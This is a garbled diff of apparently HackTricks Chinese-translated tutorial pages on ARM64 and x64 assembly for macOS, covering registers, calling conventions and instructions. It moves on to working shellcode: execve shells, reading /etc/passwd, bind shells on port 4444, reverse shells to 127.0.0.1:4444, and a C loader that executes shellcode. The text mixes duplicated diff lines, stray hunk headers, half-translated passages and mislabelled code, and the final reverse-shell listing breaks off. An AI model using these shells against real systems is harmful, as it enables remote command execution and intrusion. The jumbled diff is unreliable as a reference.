ARM64调用约定规定函数的**前八个参数**通过寄存器**`x0`到`x7`**传递。**额外的**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**传回,如果是**128位**则也可以通过**`x1`**传回。**`x19`**到**`x30`**和**`sp`**寄存器必须在函数调用之间**保留**。
ARM64调用约定规定函数的**前八个参数**通过寄存器**`x0`到`x7`**传递。**额外的**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**传回,如果是**128位**的话,也可以通过**`x1`**传回。函数调用时,**`x19`**到**`x30`**和**`sp`**寄存器必须被**保留**。
在汇编中阅读函数时,要查找**函数的序言和尾声**。**序言**通常涉及**保存帧指针(`x29`****设置**新的**帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
在汇编中阅读函数时,要查找**函数的序言和尾声**。**序言**通常涉及**保存帧指针(`x29`****设置新的帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
### **常见指令**
@ -49,9 +49,9 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
* 示例:`ldr x0, [x1]` - 这将从由`x1`指向的内存位置加载一个值到`x0`中。
* **`str`**:将一个值从寄存器存储到内存中。
* 示例:`str x0, [x1]` - 这将将`x0`中的值存储到由`x1`指向的内存位置中。
* **`ldp`****加载一对寄存器**。该指令从**连续的内存**位置加载两个寄存器。内存地址通常是通过将另一个寄存器中的值与偏移量相加得到的。
* **`ldp`****加载一对寄存器**。该指令从**连续的内存**位置加载两个寄存器。内存地址通常是通过将另一个寄存器中的值与偏移量相加形成的。
* 示例:`ldp x0, x1, [x2]` - 这将从`x2`和`x2 + 8`处的内存位置分别加载`x0`和`x1`。
* **`stp`****存储一对寄存器**。该指令将两个寄存器存储到**连续的内存**位置。内存地址通常是通过将另一个寄存器中的值与偏移量相加得到的。
* **`stp`****存储一对寄存器**。该指令将两个寄存器存储到**连续的内存**位置。内存地址通常是通过将另一个寄存器中的值与偏移量相加形成的。
* 示例:`stp x0, x1, [x2]` - 这将`x0`和`x1`存储到`x2`和`x2 + 8`处的内存位置。
* **`add`**:将两个寄存器的值相加,并将结果存储在一个寄存器中。
* 示例:`add x0, x1, x2` - 这将将`x1`和`x2`中的值相加,并将结果存储在`x0`中。
@ -63,7 +63,7 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
* 示例:`div x0, x1, x2` — 将`x1`的值除以`x2`的值,并将结果存储在`x0`中。
* **`bl`**: **带链接分支**,用于调用一个**子程序**。将**返回地址存储在`x30`中**。
* 示例:`bl myFunction` — 调用函数`myFunction`,并将返回地址存储在`x30`中。
* **`blr`**: **带链接分支到寄存器**,用于调用一个**子程序**,其中目标在一个**寄存器**中指定。将**返回地址存储在`x30`中**。
* **`blr`**: **带链接寄存器分支**,用于调用一个**子程序**,其中目标在一个**寄存器**中指定。将**返回地址存储在`x30`中**。
* 示例:`blr x1` — 调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
* **`ret`**: **从子程序返回**,通常使用**`x30`中的地址**。
* 示例:`ret` — 使用`x30`中的返回地址从当前子程序返回。
@ -71,11 +71,11 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
* 示例:`cmp x0, x1` — 比较`x0`和`x1`的值,并相应地设置条件标志。
* **`b.eq`**: **等于时分支**,基于前面的`cmp`指令。
* 示例:`b.eq label` — 如果前面的`cmp`指令发现两个相等的值,则跳转到`label`。
* **`b.ne`**: **不等于时分支**指令检查条件标志(由前一个比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
* **`b.ne`**: **不等于时分支**指令检查条件标志(由前一个比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
* 示例:在`cmp x0, x1`指令之后,`b.ne label` — 如果`x0`和`x1`的值不相等,则跳转到`label`。
* **`cbz`**: **比较并在零时分支**。该指令将一个寄存器与零进行比较,如果它们相等,则跳转到一个标签或地址。
* **`cbz`**: **零时比较和分支**。此指令将一个寄存器与零进行比较,如果它们相等,则跳转到一个标签或地址。
* 示例:`cbz x0, label` — 如果`x0`中的值为零,则跳转到`label`。
* **`cbnz`**: **比较并在非零时分支**。该指令将一个寄存器与零进行比较,如果它们不相等,则跳转到一个标签或地址。
* **`cbnz`**: **非零时比较和分支**。此指令将一个寄存器与零进行比较,如果它们不相等,则跳转到一个标签或地址。
* 示例:`cbnz x0, label` — 如果`x0`中的值非零,则跳转到`label`。
* **`adrp`**: 计算一个符号的**页地址**并将其存储在一个寄存器中。
* 示例:`adrp x0, symbol` — 计算`symbol`的页地址并将其存储在`x0`中。
@ -83,8 +83,8 @@ ARM64指令通常具有**`opcode dst, src1, src2`**的格式,其中**`opcode`*
* 示例:`ldrsw x0, [x1]` — 从由`x1`指向的内存位置加载一个有符号的32位值将其符号扩展为64位并将其存储在`x0`中。
* **`stur`**: 将一个寄存器的值**存储到内存位置**,使用另一个寄存器的偏移量。
* 示例:`stur x0, [x1, #4]` — 将`x0`中的值存储到当前`x1`地址加4字节的内存位置。
* **`svc`**进行**系统调用**。它代表"Supervisor Call"。当处理器执行此指令时,它会从用户模式切换到内核模式,并跳转到内存中内核系统调用处理代码所在的特定位置。
* 示例:
* &#x20;**`svc`** : 进行**系统调用**。它代表"Supervisor Call"。当处理器执行此指令时,它会从用户模式切换到内核模式,并跳转到内存中内核系统调用处理代码所在的特定位置。
* 示例:&#x20;
```armasm
mov x8, 93 ; 将退出系统调用的系统调用号93加载到寄存器x8中。
@ -92,24 +92,54 @@ mov x0, 0 ; 将退出状态码0加载到寄存器x0中。
svc 0 ; 进行系统调用。
```
### **函数序言**
1. **将链接寄存器和帧指针保存到堆栈中**
{% code overflow="wrap" %}
```armasm
stp x29, x30, [sp, #-16]! ; 将x29和x30寄存器对存储到堆栈中并减小堆栈指针
```
{% endcode %}
2. **设置新的帧指针**`mov x29, sp`(为当前函数设置新的帧指针)
3. **为局部变量在堆栈上分配空间**(如果需要):`sub sp, sp, <size>`(其中`<size>`是所需的字节数)
### **函数收尾**
1. **释放局部变量(如果有分配的变量)**`add sp, sp, <size>`
2. **恢复链接寄存器和帧指针**
{% code overflow="wrap" %}
```armasm
ldp x29, x30, [sp], #16 ; 从堆栈中加载x29和x30寄存器对并增加堆栈指针
```
{% endcode %}
3. **返回**`ret`(使用链接寄存器中的地址将控制返回给调用者)
## macOS
### syscalls
查看[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)。
查看[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)。
### Shellcodes
编译方法:
{% code overflow="wrap" %}
编译:
```bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
{% endcode %}
提取字节的方法:
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
提取字节的方法如下:
```assembly
ldr x0, =0x12345678
ldrb w1, [x0]
```
这段代码用于从内存地址0x12345678中提取一个字节。
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -218,7 +248,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
{% endtab %}
{% endtabs %}
#### 使用cat命令读取文件
#### 使用cat命令读取
目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`因此第二个参数x1是一个参数数组在内存中表示为地址的堆栈
```armasm
@ -238,7 +268,7 @@ str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
@ -248,41 +278,63 @@ passwd_path: .asciz "/etc/passwd"
```
#### 使用fork从sh调用命令以便主进程不被终止
To invoke a command with `sh` from a forked process, you can follow these steps:
Sometimes, when executing a command using the `system()` function in C, the main process may be terminated if the command encounters an error. To avoid this, you can use the `fork()` system call to create a child process and then execute the command using `sh` in the child process. This way, even if the command fails, the main process will not be terminated.
1. Import the necessary libraries:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
```
2. Create a forked process using the `fork()` function:
```c
pid_t pid = fork();
```
int main() {
pid_t pid = fork();
3. Check if the process is the child process:
```c
if (pid == 0) {
// Child process
// Execute the command using sh
execl("/bin/sh", "sh", "-c", "your_command", (char *)NULL);
exit(0);
if (pid == -1) {
perror("fork");
exit(EXIT_FAILURE);
} else if (pid == 0) {
// Child process
execl("/bin/sh", "sh", "-c", "your_command_here", (char *)NULL);
exit(EXIT_SUCCESS);
} else {
// Parent process
wait(NULL);
printf("Command executed successfully!\n");
}
return 0;
}
```
4. Wait for the child process to finish executing the command:
在C语言中有时候使用`system()`函数执行命令时,如果命令遇到错误,主进程可能会被终止。为了避免这种情况,可以使用`fork()`系统调用创建一个子进程,然后在子进程中使用`sh`执行命令。这样,即使命令失败,主进程也不会被终止。
```c
else {
// Parent process
wait(NULL);
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main() {
pid_t pid = fork();
if (pid == -1) {
perror("fork");
exit(EXIT_FAILURE);
} else if (pid == 0) {
// 子进程
execl("/bin/sh", "sh", "-c", "your_command_here", (char *)NULL);
exit(EXIT_SUCCESS);
} else {
// 父进程
wait(NULL);
printf("命令执行成功!\n");
}
return 0;
}
```
By using this method, the main process will not be terminated when executing the command with `sh` from the forked process.
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -326,14 +378,167 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### 绑定 shell
从 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) 获取绑定 shell端口为 **4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
#### 反向 shell
从 [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s),反向 shell 到 **127.0.0.1:4444**
```armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>

View file

@ -0,0 +1,454 @@
# x64简介
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
## **x64简介**
x64也被称为x86-64是一种主要用于桌面和服务器计算的64位处理器架构。它起源于由英特尔生产的x86架构并在后来由AMD采用并命名为AMD64是个人计算机和服务器中普遍使用的架构。
### **寄存器**
x64扩展了x86架构具有16个通用寄存器标记为`rax``rbx``rcx``rdx``rbp``rsp``rsi``rdi`和`r8`到`r15`。每个寄存器可以存储一个64位8字节的值。这些寄存器还具有32位、16位和8位的子寄存器用于兼容性和特定任务。
1. **`rax`** - 传统上用于函数的**返回值**。
2. **`rbx`** - 经常用作内存操作的**基址寄存器**。
3. **`rcx`** - 常用于**循环计数器**。
4. **`rdx`** - 用于各种角色,包括扩展算术运算。
5. **`rbp`** - 栈帧的**基指针**。
6. **`rsp`** - **栈指针**,跟踪栈的顶部。
7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。
8. **`r8`** 到 **`r15`** - 在x64中引入的额外通用寄存器。
### **调用约定**
x64的调用约定在操作系统之间有所不同。例如
* **Windows**:前**四个参数**通过寄存器**`rcx`****`rdx`****`r8`**和**`r9`**传递。更多的参数被推送到栈上。返回值在**`rax`**中。
* **System V通常用于类UNIX系统**:前**六个整数或指针参数**通过寄存器**`rdi`****`rsi`****`rdx`****`rcx`****`r8`**和**`r9`**传递。返回值也在**`rax`**中。
如果函数有超过六个输入,则**其余参数将通过栈传递**。**RSP**,即栈指针,在任何调用发生之前必须是**16字节对齐**的这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前我们的shellcode中的RSP被正确对齐。然而在实践中即使不满足这个要求系统调用也经常能够正常工作。
### **常见指令**
x64指令具有丰富的指令集保持与早期x86指令的兼容性并引入新的指令。
* **`mov`**:将一个值从一个**寄存器**或**内存位置**移动到另一个位置。
* 示例:`mov rax, rbx` — 将`rbx`中的值移动到`rax`。
* **`push`** 和 **`pop`**:将值推送到/从**栈**中弹出。
* 示例:`push rax` — 将`rax`中的值推送到栈上。
* 示例:`pop rax` — 将栈顶的值弹出到`rax`中。
* **`add`** 和 **`sub`****加法**和**减法**操作。
* 示例:`add rax, rcx` — 将`rax`和`rcx`中的值相加,并将结果存储在`rax`中。
* **`mul`** 和 **`div`****乘法**和**除法**操作。注意:这些操作对操作数的使用有特定的行为。
* **`call`** 和 **`ret`**:用于**调用**和**从函数返回**。
* **`int`**:用于触发软件**中断**。例如在32位x86 Linux中`int 0x80`用于系统调用。
* **`cmp`**比较两个值并根据结果设置CPU的标志位。
* 示例:`cmp rax, rdx` — 将`rax`与`rdx`进行比较。
* **`je`****`jne`****`jl`****`jge`**...**条件跳转**指令,根据先前的`cmp`或测试结果改变控制流。
* 示例:在`cmp rax, rdx`指令之后,`je label` — 如果`rax`等于`rdx`,则跳转到`label`。
* **`syscall`**在某些x64系统如现代Unix中用于**系统调用**。
* **`sysenter`**:在某些平台上优化的**系统调用**指令。
### **函数序言**
1. **保存旧的基指针**: `push rbp`(保存调用者的基指针)
2. **将当前栈指针移动到基指针**: `mov rbp, rsp`(为当前函数设置新的基指针)
3. **在栈上为局部变量分配空间**: `sub rsp, <size>`(其中 `<size>` 是所需的字节数)
### **函数尾声**
1. **将当前基指针移动到栈指针**: `mov rsp, rbp`(释放局部变量)
2. **从栈中弹出旧的基指针**: `pop rbp`(恢复调用者的基指针)
3. **返回**: `ret`(将控制权返回给调用者)
## macOS
### 系统调用
有不同类别的系统调用,您可以在[**这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
然后,您可以在[**此网址**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)中找到每个系统调用的编号:
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
所以为了调用`open`系统调用(**5**),你需要将其添加为`0x2000000`。
因此调用open的系统调用号将是`0x2000005`。
### Shellcode
编译如下:
{% code overflow="wrap" %}
```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
{% endcode %}
提取字节的方法:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
```
<details>
<summary>用于测试shellcode的C代码</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
</details>
#### Shell
从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。
{% tabs %}
{% tab title="使用adr" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% tab title="使用堆栈" %}
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
#### 使用cat命令读取
目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`因此第二个参数x1是一个参数数组在内存中表示为地址的堆栈
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### 使用sh调用命令
To invoke a command using the `sh` command, you can use the following syntax:
要使用`sh`命令调用命令,可以使用以下语法:
```sh
sh -c "command"
```
For example, if you want to run the `ls` command using `sh`, you would use:
例如,如果你想使用`sh`运行`ls`命令,可以使用以下命令:
```sh
sh -c "ls"
```
This will execute the `ls` command as if it was run directly from the command line.
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### 绑定 shell
从 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 获取的绑定 shell在**端口 4444**上。
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
#### 反向 Shell
从[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)获取反向 Shell。反向 Shell 到 **127.0.0.1:4444**
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
